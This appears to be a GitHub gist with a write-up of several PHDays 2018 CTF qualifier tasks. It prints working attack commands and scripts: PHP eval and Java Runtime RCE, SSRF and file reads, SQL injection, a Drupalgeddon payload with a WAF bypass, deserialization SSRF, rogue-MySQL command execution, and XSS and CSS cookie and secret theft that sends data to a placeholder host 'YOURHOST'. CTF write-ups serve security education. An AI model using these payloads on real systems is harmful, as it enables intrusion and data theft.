Skip to content

Instantly share code, notes, and snippets.

@paul-axe
Last active April 29, 2018 20:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save paul-axe/1ed247ddda4bdfd0838281687615e198 to your computer and use it in GitHub Desktop.
Save paul-axe/1ed247ddda4bdfd0838281687615e198 to your computer and use it in GitHub Desktop.
phdays2018_quals_writeup

event0

We got file with sequence recorded from /dev/input/event* file. It's easy to replay events from file using following command

# sleep 3; cat event0 > /dev/input/by-path/platform-i8042-serio-0-event-kbd

After that switch to another terminal window or text editor and we will se following commands

vim key.txt
32ix^[o^[5if ^[Icde^[A653^[BBi3333^[BBicdef87236363^[llr2elr20elxlxlxhi3^[A64^[kdd:wq

Now we need to replace ^[ to the vim-syntax <esc> and after that we can replay it.

vim -c ':execute "normal! 32ix\<esc>o\<esc>5if \<esc>Icde\<esc>A653\<esc>BBi3333\<esc>BBicdef87236363\<esc>llr2elr20elxlxlxhi3\<esc>A64\<esc>kdd"'

The flag is cdeff3fcdef87236363f23333f265364

mnogorock

Source code of page contains <!-- POST,command,inform() -->, so let's try to send something. If we send something like phpinfo() as command, we will see error No. '(T_STRING) phpinfo'.. Seems like there is some sandboxed eval, but it can easily be bypassed using string to function name conversion

$ curl -d '"system"("id")' http://172.104.137.194/ 

The flag is md5('Reality is wrong. Dreams are for real.')

CryptoApocalypse

6 min task xD. http://92.53.66.223/?jbfc=http%3A%2F%2Flocalhost/ shows us the self-included content. Seems like the script sends request using curl or file_get_contents. Lets try to read files. file:/// is blocked, but we still can use file:./etc/passwd.

$ curl http://92.53.66.223/?jbfc=file:./var/www/html/index.php

The flag is EasyPeasy

k3y

There is binary written in go. After some reversing we got that it reads seed from the user, generate aes key and iv as 0x00-0x20 and 0x20-0x30 random generated bytes respectively, and encrypts user data using these key and iv. Also we can find encrypted flag here. The first block of encrypted data is the iv, which was generated by some seed on flag encryption, so we need to find that seed which will generate same 0x20-0x30 random bytes as the iv.

package main                           
                                   
import (          
    "os" 
    "fmt"
    "math/rand"
    "encoding/hex"
    "bytes"
    "strconv"
)  

func main() {
    iv, _ := hex.DecodeString("c629d55f67eed0585a81add421d0d357")
    start := 1000000000000000
    for i := start; i < start*10; i++ {
        key := [32]byte{}
        rand.Seed(int64(i))
        rand.Read(key[:])
        miv := [0x10]byte{}
        rand.Read(miv[:])

        if bytes.Equal(iv[:], miv[:]) {
            fmt.Println("Found", i)
        }
    }
}

After some bruteforcing we got several seed values. At least one of them was correct. So no we can generate key using seed 2000000407966257 and decrypt the flag.

The flag is 583b4a1e5d34d34090de35b995cafda7

sincity

After some dirbusting we can find that application served by Resin server. Also there is /dev/ directory on the server protected by basic auth. Auth can be bypassed using following sequence http://172.104.154.29/;/..\dev/. The /dev/ shows us file listing, so we can see task.php and it's copy task.php~~~edited which will disclose us source code.

<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
 if(strlen($_GET['constr'])===4){
 	$c = new $_GET['constr']($_GET['arg']);
	$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
 }else{
 	die('Swimming in the pool after using a bottle of vodka');
 }
}
?>

The first check can be easily bypased due to php type conversion on numeric string comparision. Now we need to remember about Resin and read the docs. Resin uses PHP interpreter rewritten in Java, so it can use java classes. That's why we can use new java("java.lang.Runtime") and thus obtain code execution.

$ curl -H $'Cookie: developer_testing_mode=240610708' 'http://172.104.154.29/;/..\\dev/task.php?constr=java&arg=java.lang.Runtime&param[0]=getRuntime&param[1]=exec&test=sh+-c+$%40|sh+.+echo+wget+YOURHOST/$(id|base64+-w0)'

The flag is md5('!!cruising down the street in my^^six-four^^')

DigitalResistance

We need to request page http://172.104.226.97/?get=flag from local address. There was SQL-injection in Telegram-bot in users first and last name. So changing lastname to ' union select '1','2','3','4' from (select 1) where 'a'='a will result with 2 in bot reply. We can find the user with SSH access in database, and after that we can read the flag from web through ssh tunnel.

$ ssh -N -D8888 -p2222 durov@172.104.226.97
$ curl -x 'socks5://127.0.0.1:8888' http://127.0.0.1:8080/?get=flag   

The flag is 5dab4ef39defa2a0aae27c815de63072

board

After some fuzzing found that sending non-empty array in title parameter will lead to stacktrace.

{"err":"TypeError: string.split is not a function","trace":"TypeError: string.split is not a function\n    at mapDomain (punycode.js:73:23)\n    at Object.toUnicode (punycode.js:387:9)\n    at createRecord (/var/www/dist/05da126b0edfb13d3b9377797b5f25d6/methods.js:130:32)\n    at <anonymous>\n    at process._tickCallback (internal/process/next_tick.js:182:7)"}

Now we have path to source files and so we can find hidden parameter style and __NEW_FEATURE__.

app.post('/api/id', async (req, res) => {
	let _ref2 = await (0, _methods.createUser)({
  		style: req.body.__NEW_FEATURE__ && req.body.style
	})

Using that parameters we can set any css rules for our board, so it's possible to read flag from tag attribute using css attribute selectors.

import requests                                                                                                                                    
import string
import sys
import urllib

sess = requests.session()

FLAG = sys.argv[1]

pld = ""
for i in string.ascii_letters+string.digits + "_":
    pld += "div#secret[content^=\""+FLAG+i+"\"]{background: url(//YOURHOST/log?c="+urllib.parse.quote(FLAG+i)+");}"

r = sess.post("http://172.104.246.110:9091/api/id", json={"__NEW_FEATURE__": True, "style": pld})
r = sess.post("http://172.104.246.110:9091/api/board", json={"userId":"2885545b-2103-4cd8-960d-8498f7e9d2fe"})
bid = r.json()["id"]
r = sess.post("http://172.104.246.110:9091/api/record", json={"boardId": bid, "title":"a", "price": 1})

The flag is 6172fe15244be1ede7a6d3064e2941f4

eNgeeks

There was path hidden /js/contact_me.js file:

// url: "/admino4ka/contact_dev.php"

The page is not exists, but there was index page in /admino4ka path. There we can find three domains located on some server: wp.local, drupal.local, joomla.local, so now we need to find correct ip address. As i found from hints later, it supposed to be obtained from nginx cache through range parameter overflow

curl -H 'Range: bytes=-9734,-9223372036854766074' 172.104.246.110/admino4ka/

But also could be found on 404 page xD. At this point we have ip and domain names of three web apps, but all of them returns 403 for some reason. It can be bypassed using X-Forwarded-For: 127.0.0.1 header. Now we can access to Wordpress, Drupal and Joomla app. So the first thing every security researcher will try in 2018 in that case is Drupalgeddon(2|3). Actually there was some kind of WAF which blocked requests with %20 char, but it can be bypassed using $IFS.

$ curl -H 'X-Forwarded-For: 127.0.0.1' -d 'form_idezone[a][#lazy_builder][][]=ls$IFS-lah' 'http://drupal.local:63425/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

The flag is md5(enabled to be great)

Dirbusting host, and found adminer.php and index.php.bak files so now we have source code. The hmac check can be bypassed if we send array in nonce cookie parameter. It'll lead to uniq_siq be equal NULL so we can compute the correct hmac for our serialized data. Also there was predefined class with magic methods __destruct peforming call on it's field, so we can use SoapClient and thus make ssrf.

<?php                                                                                                                                         
$c = new SoapClient(null,    array('uri'=>'', 'location'=>$argv[1]));

class Logger {
    private $serverdata;
    function __construct($a){
        $this->serverdata = $a;
    }
}

$pld = serialize(array("a", "b", new Logger($c)));
$hmac = hash_hmac('md5', $pld, NULL);
$enc = base64_encode($pld);

echo("Cookie: PHPSESSID=qwer; nonce[]=; hmac=$hmac; userdata=$enc;\n");

So now we can access adminer.php. In adminer we can initiate connection to our database and thus read files from server, but also there was expect:// scheme enabled, so we can execute OS commands.

$ curl -H "$(php t.php 'http://172.17.0.3/adminer.php?username=&server=YOURIP')" http://172.104.148.236/index.php?act=show

And listening for connections

$ python mysql_rogue.py expect://id                                                                    
Connection from ('172.104.148.236', 42672)                                                                   
uid=33(www-data) gid=33(www-data) groups=33(www-data)  

The flag is c69a990b00307198ad5c6fc713082214

malwaremustlive

We got compiled python file. Luckily uncompyle decompiles it well. The script sends requests to http://172.104.158.159/ to register bot and then asks server for new command every 15 secs. There was XSS in bot register info, so we can steal admin cookie and access to bot control panel.

import requests                                                                                                                                    
import base64
_id=requests.get('http://172.104.158.159/reg?new=1').text
requests.post('http://172.104.158.159/reg?bot_id='+_id+'&type=open',
     data={'bot_comment': "1",
         'bot_sysinfo':base64.b64encode("<svg/onload='new Image().src=\"http://YOURHOST/?\"+btoa(document.cookie)'>")})

We can see bot list it control panel, but there is no botnet-administrator. Lets analyze this webapp then. There was SQL injection in search

$ curl -H "Cookie: i_am_admin=yes_i_am" "http://172.104.158.159/bot_info?search='and+1=0+union+select+bot_comment,bot_id+from+bots+where+bot_status=1+and+bot_comment='botnet-administrator'--+1"

Now we can send OS commands to this bot using control panel, but unluckily this bot uses another password than our. Luckily there was echo method

R={'bot_id':q,'pass':'wowsuch'}
...
if P=='echo':
	O=n.split('|')[1]
	B=('bot %(bot_id)s says: '+O)%R
	a=U(B)

So we need to send echo command with payload %(pass)s to get the password and now we can execute commands.

The flag is 360edeed60e009fe2b4846be2759362d

Rubik

We have wordpress with open registration, so we can register and write article drafts. Also there was print feature, which render article to PDF file. If we render the last published article, we can see that it decodes HTML entities for some reason, it means that we can inject JS code to renderer. The renderer was PhantomJS, and there was nothing interesting in it, so lets try to scan it's internal network. We can find minikube dashboard located at 127.0.0.1:8080. Here we can find one container named flag so it definetly the place where we want to get rce. Minikube uses SockJS websocket to execute commands, but unluckily SockJS makes XHR request to destination first, but until we are executing in another origin, it'll fail. So we need to implement part of SockJS protocol in native WebSockets. Also we need to get terminal session id from server, and again, due to we are in another origin, we can't use XHR. But it's possible to render it in iframe and then get from PDF. So the final exploit was:

var id = "00483a184b2fa840eff3ef6709d8e070";    

var socket = new WebSocket("ws://127.0.0.1/api/sockjs/505/tys4rvzj/websocket?"+id);

socket.onmessage = function(event) {
        new Image().src="http://YOURHOST/msg?="+(event.data);
        socket.send(JSON.stringify(["{\"Op\":\"bind\",\"SessionID\":\""+id+"\"}"]));
        socket.send(JSON.stringify(["{\"Op\":\"resize\",\"Cols\":17,\"Rows\":39}"]));
        socket.send(JSON.stringify(["{\"Op\":\"stdin\",\"Data\":\"id\\r\"}"]));
};

The flag is Hallo_from_bykva

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment